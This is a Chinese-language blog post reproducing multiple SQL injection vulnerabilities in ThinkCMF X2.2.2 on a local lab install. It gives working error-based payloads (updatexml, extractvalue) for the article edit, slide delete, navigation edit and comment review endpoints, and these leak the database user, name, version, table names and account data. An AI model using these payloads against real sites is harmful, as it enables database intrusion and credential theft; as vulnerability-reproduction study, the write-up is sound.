ThinkcmfSQL注入漏洞复现

ThinkCMF x2.2.2多处SQL注入漏洞复现

漏洞说明

ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP
3.2.3开发,最后更新到2.2.2版本。存在多个SQL注入漏洞

环境搭建

下载地址如下:https://github.com/thinkcmf/cmfx/releases

工具

火狐浏览器

Hacker插件

这里下载的是x2.2.2版本进行漏洞复现

在火狐浏览器上访问该thinkcms默认页面index.php(刚开始访问时需要进行安装)

为其创建数据库thinkcmf

安装ThinkCMF成功,环境搭建成功

通过浏览器访问127.0.0.1/thinkcmfx2.2进入前台页面,如下

漏洞复现

前台文章编辑出存在漏洞

构造Payload:

1
2
3
4
127.0.0.1/thinkcmfx2.2/index.php?g=portal&m=article&a=edit_post

POST: post[id][0]=bind&post[id][1]=2 and updatexml(1,
concat(0x7e,user(),0x7e),1)-- -

使用报错注入函数updatexml()函数报错输出用户名(也可以使用extractvalue())

修改user()为database()输出数据库名为thinkcmf

得到数据库后,又得到该数据库版本大于5.0,所以可以使用information_schema这个数据库进行查询。

Payload:

1
2
3
4
5
127.0.0.1/thinkcmfx2.2/index.php?g=portal&m=article&a=edit_pos

POST: post[id][0]=bind&post[id][1]=2 and extractvalue(1, concat(0x7e,(select
table_name from information_schema.tables where table_schema='thinkcmf' limit
23,1 ),0x7e))-- -

这里本来想使用concat_group()函数输入,但是提示无效使用

就使用limit一个一个的输出thinkcmf数据库中的表(也可以使用暴力破解)

得到个cmf_users的表,继续查询该表中的账号信息,查询账户密码如下图

后台管理

后台管理那里,幻灯片的删除存在漏洞。(下面只进行验证,漏洞利用和上面是一样的)

1
2
3
Payload: <http://127.0.0.1/cmfx2.2/index.php?g=Admin&m=slide&a=delet>

ids[]=1&ids[]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)

查询获取当前用户为root

导航编辑

1
2
3
Payload: <http://127.0.0.1/cmfx2.2/index.php?g=Admin&m=nav&a=edit_post>

Post: parentid=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

查询获取数据库名为thinkcmf

评论审核页面

1
2
3
4
payload:
http://127.0.0.1/cmfx2.2/index.php?g=Comment&m=commentadmin&a=check&check=1

POST: ids[]=1&ids[]=2 and updatexml(1,concat(0x7e,version(),0x7e),1)

报错输出数据库版本为5.5.53

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信